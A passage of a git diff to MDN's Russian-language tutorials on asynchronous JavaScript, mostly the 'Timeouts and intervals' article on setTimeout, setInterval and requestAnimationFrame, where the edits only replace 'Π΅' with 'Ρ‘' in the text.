Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎΒ Π±Π»ΠΎΠΊΠ°Β <code>.then()</code> присоСдинСнного ΠΊ ΠΊΠΎΠ½Ρ†Ρƒ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ, ΠΈΠ»ΠΈ просто пСрСмСстив Π΅Π³ΠΎ Π²Π½ΡƒΡ‚Ρ€ΡŒ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°Β Β <code>then()</code>. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ это сСйчас..</p>
+<p>Π§Ρ‚ΠΎΠ±Ρ‹ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ с  <code>fetch()</code>Β ΠΈ Π·Π°ΡΡ‚Π°Π²ΠΈΡ‚ΡŒ всС Ρ‚Ρ€ΠΈ сообщСния <code>console.log()</code>Β ΠΏΠΎΡΠ²ΠΈΡ‚ΡŒΡΡ Π² ΠΆΠ΅Π»Π°Π΅ΠΌΠΎΠΌ порядкС, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°ΠΏΡƒΡΡ‚ΠΈΡ‚ΡŒ Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ сообщСниС <code>console.log()</code> асинхронно. Π­Ρ‚ΠΎΠ³ΠΎ ΠΌΠΎΠΆΠ½ΠΎ Π΄ΠΎΠ±ΠΈΡ‚ΡŒΡΡ, пСрСмСстив Π΅Π³ΠΎ Π²Π½ΡƒΡ‚Ρ€ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠ³ΠΎΒ Π±Π»ΠΎΠΊΠ°Β <code>.then()</code> присоСдинённого ΠΊ ΠΊΠΎΠ½Ρ†Ρƒ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ, ΠΈΠ»ΠΈ просто пСрСмСстив Π΅Π³ΠΎ Π²Π½ΡƒΡ‚Ρ€ΡŒ Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ Π±Π»ΠΎΠΊΠ°Β Β <code>then()</code>. ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈΡΠΏΡ€Π°Π²ΠΈΡ‚ΡŒ это сСйчас..</p>
<div class="blockIndicator note">
<p><strong>Π—Π°ΠΌΠ΅Ρ‚ΠΊΠ°</strong>: Если Π²Ρ‹ застряли, Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅Β <a href="https://github.com/mdn/learning-area/blob/master/javascript/asynchronous/introducing/async-sync-fixed.html">Π½Π°ΠΉΡ‚ΠΈ ΠΎΡ‚Π²Π΅Ρ‚ здСсь</a>Β (Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΡΠΌΠΎΡ‚Ρ€Π΅Ρ‚ΡŒΒ <a href="https://mdn.github.io/learning-area/javascript/asynchronous/introducing/async-sync-fixed.html">Π·Π°ΠΏΡƒΡ‰Π΅Π½Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€</a>). Π’Π°ΠΊΠΆΠ΅ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π½Π°ΠΉΡ‚ΠΈ ΠΌΠ½ΠΎΠ³ΠΎ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ ΠΎ промисах Π² нашСм Π³Π°ΠΉΠ΄Π΅Β <a href="/en-US/docs/Learn/JavaScript/Asynchronous/Promises">ΠžΡΠ½ΠΎΠ²Π½Ρ‹Π΅ понятия асинхронного программирования</a>Β ΠΏΠΎΠ·Π΄Π½Π΅Π΅ Π² этом ΠΌΠΎΠ΄ΡƒΠ»Π΅.</p>
diff --git a/files/ru/learn/javascript/asynchronous/timeouts_and_intervals/index.html b/files/ru/learn/javascript/asynchronous/timeouts_and_intervals/index.html
index 7b8522a964..1db889130a 100644
--- a/files/ru/learn/javascript/asynchronous/timeouts_and_intervals/index.html
+++ b/files/ru/learn/javascript/asynchronous/timeouts_and_intervals/index.html
@@ -1,5 +1,5 @@
---
-title: 'ΠžΠ±ΡŠΠ΅Π΄ΠΈΠ½Π΅Π½Π½Ρ‹ΠΉ асинхронный JavaScript: Π’Π°ΠΉΠΌΠ°ΡƒΡ‚Ρ‹ ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρ‹'
+title: 'ΠžΠ±ΡŠΠ΅Π΄ΠΈΠ½Ρ‘Π½Π½Ρ‹ΠΉ асинхронный JavaScript: Π’Π°ΠΉΠΌΠ°ΡƒΡ‚Ρ‹ ΠΈ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρ‹'
slug: Learn/JavaScript/Asynchronous/Timeouts_and_intervals
translation_of: Learn/JavaScript/Asynchronous/Timeouts_and_intervals
original_slug: Learn/JavaScript/Asynchronous/Π’Π°ΠΉΠΌΠ°ΡƒΡ‚Ρ‹_ΠΈ_ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Ρ‹
@@ -25,7 +25,7 @@ original_slug: Learn/JavaScript/Asynchronous/Π’Π°ΠΉΠΌΠ°ΡƒΡ‚Ρ‹_ΠΈ_ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π
<h2 id="Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅">Π’Π²Π΅Π΄Π΅Π½ΠΈΠ΅</h2>
-<p>Π’ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»Π³ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π²Π΅Π±-ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π»Π° программистам JavaScript ряд Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ позволяли им асинхронно Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΊΠΎΠ΄ ΠΏΠΎ истСчСнии ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π° ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ асинхронный блок ΠΊΠΎΠ΄Π°, ΠΏΠΎΠΊΠ° Π²Ρ‹ Π½Π΅ скаТСтС Π΅ΠΌΡƒ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΡΡ.</p>
+<p>Π’ Ρ‚Π΅Ρ‡Π΅Π½ΠΈΠ΅ Π΄ΠΎΠ»Π³ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π²Π΅Π±-ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌΠ° ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π»Π° программистам JavaScript ряд Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ позволяли им асинхронно Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ ΠΊΠΎΠ΄ ΠΏΠΎ истСчСнии ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠ³ΠΎ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»Π° ΠΈ ΠΏΠΎΠ²Ρ‚ΠΎΡ€Π½ΠΎ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒ асинхронный блок ΠΊΠΎΠ΄Π°, ΠΏΠΎΠΊΠ° Π²Ρ‹ Π½Π΅ скаТСтС Π΅ΠΌΡƒ ΠΎΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒΡΡ.</p>
<p>Π­Ρ‚ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ:</p>
@@ -33,7 +33,7 @@ original_slug: Learn/JavaScript/Asynchronous/Π’Π°ΠΉΠΌΠ°ΡƒΡ‚Ρ‹_ΠΈ_ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π
<dt><code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setTimeout">setTimeout()</a></code></dt>
<dd>ВыполняСт указанный Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· ΠΏΠΎ истСчСнии ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ</dd>
<dt><code><a href="/en-US/docs/Web/API/WindowOrWorkerGlobalScope/setInterval">setInterval()</a></code></dt>
- <dd>ВыполняСт указанный Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° нСсколько Ρ€Π°Π· с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΌ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»ΠΎΠΌΒ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ.</dd>
+ <dd>ВыполняСт указанный Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° нСсколько Ρ€Π°Π· с ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΌ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π»ΠΎΠΌΒ ΠΌΠ΅ΠΆΠ΄Ρƒ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΌ Π²Ρ‹Π·ΠΎΠ²ΠΎΠΌ.</dd>
<dt><code><a href="/en-US/docs/Web/API/window/requestAnimationFrame">requestAnimationFrame()</a></code></dt>
<dd>БоврСмСнная вСрсия setInterval (). Π’Ρ‹ΠΏΠΎΠ»Π½ΡΡŽΡ‚Β ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° ΠΏΠ΅Ρ€Π΅Π΄ Ρ‚Π΅ΠΌ, ΠΊΠ°ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ Ρ€Π°Π· пСрСрисовываСт ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, позволяя Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΡŽ с подходящСй частотой ΠΊΠ°Π΄Ρ€ΠΎΠ² нСзависимо ΠΎΡ‚ срСды, Π² ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΉ ΠΎΠ½Π° выполняСтся.</dd>
</dl>
@@ -41,23 +41,23 @@ original_slug: Learn/JavaScript/Asynchronous/Π’Π°ΠΉΠΌΠ°ΡƒΡ‚Ρ‹_ΠΈ_ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π
<p>Асинхронный ΠΊΠΎΠ΄, установлСнный этими функциями, выполняСтся Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅ (ΠΏΠΎ истСчСнии ΡƒΠΊΠ°Π·Π°Π½Π½ΠΎΠ³ΠΎ ΠΈΠΌ Ρ‚Π°ΠΉΠΌΠ΅Ρ€Π°).</p>
<div>
-<p>Π’Π°ΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ (ΠΈ часто Π±ΡƒΠ΄Π΅Ρ‚Π΅) Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ΄ Π΄ΠΎ выполнСния Π²Ρ‹Π·ΠΎΠ²Π° setTimeout () ΠΈΠ»ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ итСрациями setInterval (). Π’ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, насколько интСнсивно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ эти ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ для процСссора, ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π΅Ρ‰Π΅ большС Π·Π°Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ асинхронного ΠΊΠΎΠ΄Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ любой асинхронный ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ станСт доступСн основной ΠΏΠΎΡ‚ΠΎΠΊ. (Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, ΠΊΠΎΠ³Π΄Π° стСк пуст.) Π’Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ большС ΠΏΠΎ этому вопросу ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ изучСния этой ΡΡ‚Π°Ρ‚ΡŒΠΈ.</p>
+<p>Π’Π°ΠΆΠ½ΠΎ Π·Π½Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ (ΠΈ часто Π±ΡƒΠ΄Π΅Ρ‚Π΅) Π·Π°ΠΏΡƒΡΠΊΠ°Ρ‚ΡŒ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΊΠΎΠ΄ Π΄ΠΎ выполнСния Π²Ρ‹Π·ΠΎΠ²Π° setTimeout () ΠΈΠ»ΠΈ ΠΌΠ΅ΠΆΠ΄Ρƒ итСрациями setInterval (). Π’ зависимости ΠΎΡ‚ Ρ‚ΠΎΠ³ΠΎ, насколько интСнсивно ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ эти ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΈ для процСссора, ΠΎΠ½ΠΈ ΠΌΠΎΠ³ΡƒΡ‚ Π΅Ρ‰Ρ‘ большС Π·Π°Π΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ асинхронного ΠΊΠΎΠ΄Π°, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ любой асинхронный ΠΊΠΎΠ΄ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС Ρ‚ΠΎΠ³ΠΎ, ΠΊΠ°ΠΊ станСт доступСн основной ΠΏΠΎΡ‚ΠΎΠΊ. (Π”Ρ€ΡƒΠ³ΠΈΠΌΠΈ словами, ΠΊΠΎΠ³Π΄Π° стСк пуст.) Π’Ρ‹ ΡƒΠ·Π½Π°Π΅Ρ‚Π΅ большС ΠΏΠΎ этому вопросу ΠΏΠΎ ΠΌΠ΅Ρ€Π΅ изучСния этой ΡΡ‚Π°Ρ‚ΡŒΠΈ.</p>
</div>
<p>Π’ любом случаС эти Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ для запуска постоянной Π°Π½ΠΈΠΌΠ°Ρ†ΠΈΠΈ ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ Ρ„ΠΎΠ½ΠΎΠ²ΠΎΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΈ Π½Π° Π²Π΅Π±-сайтС ΠΈΠ»ΠΈ Π² ΠΏΡ€ΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΠΈ. Π’ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΡ… Ρ€Π°Π·Π΄Π΅Π»Π°Ρ… ΠΌΡ‹ ΠΏΠΎΠΊΠ°ΠΆΠ΅ΠΌ Π²Π°ΠΌ, ΠΊΠ°ΠΊ ΠΈΡ… ΠΌΠΎΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ.</p>
<h2 id="setTimeout">setTimeout()</h2>
-<p>Как ΠΌΡ‹Β Ρ€Π°Π½Π΅Π΅ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΠ»ΠΈ, setTimeout () выполняСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· ΠΏΠΎ истСчСнии Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. ΠŸΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹:</p>
+<p>Как ΠΌΡ‹Β Ρ€Π°Π½Π΅Π΅ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΠ»ΠΈ, setTimeout () выполняСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Π±Π»ΠΎΠΊ ΠΊΠΎΠ΄Π° ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π· ΠΏΠΎ истСчСнии Π·Π°Π΄Π°Π½Π½ΠΎΠ³ΠΎ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ. ΠŸΡ€ΠΈΠ½ΠΈΠΌΠ°Π΅Ρ‚ ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹:</p>
<ul>
- <li>Ѐункция для запуска ΠΈΠ»ΠΈ ссылка Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΡƒΡŽ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ мСстС.</li>
+ <li>Ѐункция для запуска ΠΈΠ»ΠΈ ссылка Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΡƒΡŽ Π² Π΄Ρ€ΡƒΠ³ΠΎΠΌ мСстС.</li>
<li>Число, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰Π΅Π΅ ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π» Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ Π² миллисСкундах (1000 миллисСкунд равняСтся 1 сСкундС) оТидания ΠΏΠ΅Ρ€Π΅Π΄ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ΠΌ ΠΊΠΎΠ΄Π°. Если Π²Ρ‹ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ 0 (ΠΈΠ»ΠΈ просто опуститС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅), функция запустится ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ скорСС. (Π‘ΠΌ. ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅ Π½ΠΈΠΆΠ΅ ΠΎ Ρ‚ΠΎΠΌ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΎΠ½ запускаСтся Β«ΠΊΠ°ΠΊ ΠΌΠΎΠΆΠ½ΠΎ скорСС», Π° Π½Π΅ «сразу».) ΠŸΠΎΠ΄Ρ€ΠΎΠ±Π½Π΅Π΅ ΠΎ Ρ‚ΠΎΠΌ, ΠΏΠΎΡ‡Π΅ΠΌΡƒ Π²Ρ‹, Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎ, Π·Π°Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это ΠΏΠΎΠ·ΠΆΠ΅.</li>
- <li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅Β Π»ΡŽΠ±Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΈ Π΅Π΅ запускС.</li>
+ <li>Π—Π½Π°Ρ‡Π΅Π½ΠΈΠΉ, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅Β Π»ΡŽΠ±Ρ‹Π΅ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ ΠΏΡ€ΠΈ Π΅Ρ‘ запускС.</li>
</ul>
<div class="blockIndicator note">
-<p><strong>NOTE: </strong>Β Π£ΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ врСмя (ΠΈΠ»ΠΈ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ°) Π½Π΅ являСтся Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ выполнСния, Π° скорСС ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ выполнСния. ΠžΠ±Ρ€Π°Ρ‚Π½Ρ‹Π΅ Π²Ρ‹Π·ΠΎΠ²Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚Π΅ этим функциям, Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ, ΠΏΠΎΠΊΠ° стСк Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Π½Π΅ станСт пустым.</p>
+<p><strong>NOTE: </strong>Β Π£ΠΊΠ°Π·Π°Π½Π½ΠΎΠ΅ врСмя (ΠΈΠ»ΠΈ Π·Π°Π΄Π΅Ρ€ΠΆΠΊΠ°) Π½Π΅ являСтся Π³Π°Ρ€Π°Π½Ρ‚ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ выполнСния, Π° скорСС ΠΌΠΈΠ½ΠΈΠΌΠ°Π»ΡŒΠ½Ρ‹ΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½Π΅ΠΌ выполнСния. ΠžΠ±Ρ€Π°Ρ‚Π½Ρ‹Π΅ Π²Ρ‹Π·ΠΎΠ²Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚Π΅ этим функциям, Π½Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ, ΠΏΠΎΠΊΠ° стСк Π² основном ΠΏΠΎΡ‚ΠΎΠΊΠ΅ Π½Π΅ станСт пустым.</p>
<p>Как слСдствиС, Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠΎΠ΄, ΠΊΠ°ΠΊ setTimeout (fn, 0), Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½ΡΡ‚ΡŒΡΡ, ΠΊΠ°ΠΊ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ стСк Π±ΡƒΠ΄Π΅Ρ‚ пуст, Π° Π½Π΅ сразу. Если Π²Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚Π΅ Ρ‚Π°ΠΊΠΎΠΉ ΠΊΠΎΠ΄, ΠΊΠ°ΠΊ setTimeout (fn, 0), Π½ΠΎ сразу послС выполнСния Ρ†ΠΈΠΊΠ»Π°, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ насчитываСт ΠΎΡ‚ 1 Π΄ΠΎ 10 ΠΌΠΈΠ»Π»ΠΈΠ°Ρ€Π΄ΠΎΠ², ваш колбэк Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹ΠΏΠΎΠ»Π½Π΅Π½ Ρ‡Π΅Ρ€Π΅Π· нСсколько сСкунд.</p>
</div>
@@ -68,14 +68,14 @@ original_slug: Learn/JavaScript/Asynchronous/Π’Π°ΠΉΠΌΠ°ΡƒΡ‚Ρ‹_ΠΈ_ΠΈΠ½Ρ‚Π΅Ρ€Π²Π°Π
alert('Hello, Mr. Universe!');
}, 2000)</pre>
-<p>Π£ΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ Π²Π°ΠΌΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π°Π½ΠΎΠ½ΠΈΠΌΠ½Ρ‹ΠΌΠΈ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π°Ρ‚ΡŒ своСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ имя ΠΈ Π΄Π°ΠΆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΅Π΅ Π³Π΄Π΅-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π΅Ρ‰Π΅ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ссылку Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² setTimeout (). Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π΄Π²Π΅ вСрсии Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π° ΠΊΠΎΠ΄Π° эквивалСнтны ΠΏΠ΅Ρ€Π²ΠΎΠΉ:</p>
+<p>Π£ΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ Π²Π°ΠΌΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Π°Π½ΠΎΠ½ΠΈΠΌΠ½Ρ‹ΠΌΠΈ. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π΄Π°Ρ‚ΡŒ своСй Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ имя ΠΈ Π΄Π°ΠΆΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ Π΅Ρ‘ Π³Π΄Π΅-Π½ΠΈΠ±ΡƒΠ΄ΡŒ Π΅Ρ‰Ρ‘ ΠΈ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‚ΡŒ ссылку Π½Π° Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π² setTimeout (). Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠ΅ Π΄Π²Π΅ вСрсии Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π° ΠΊΠΎΠ΄Π° эквивалСнтны 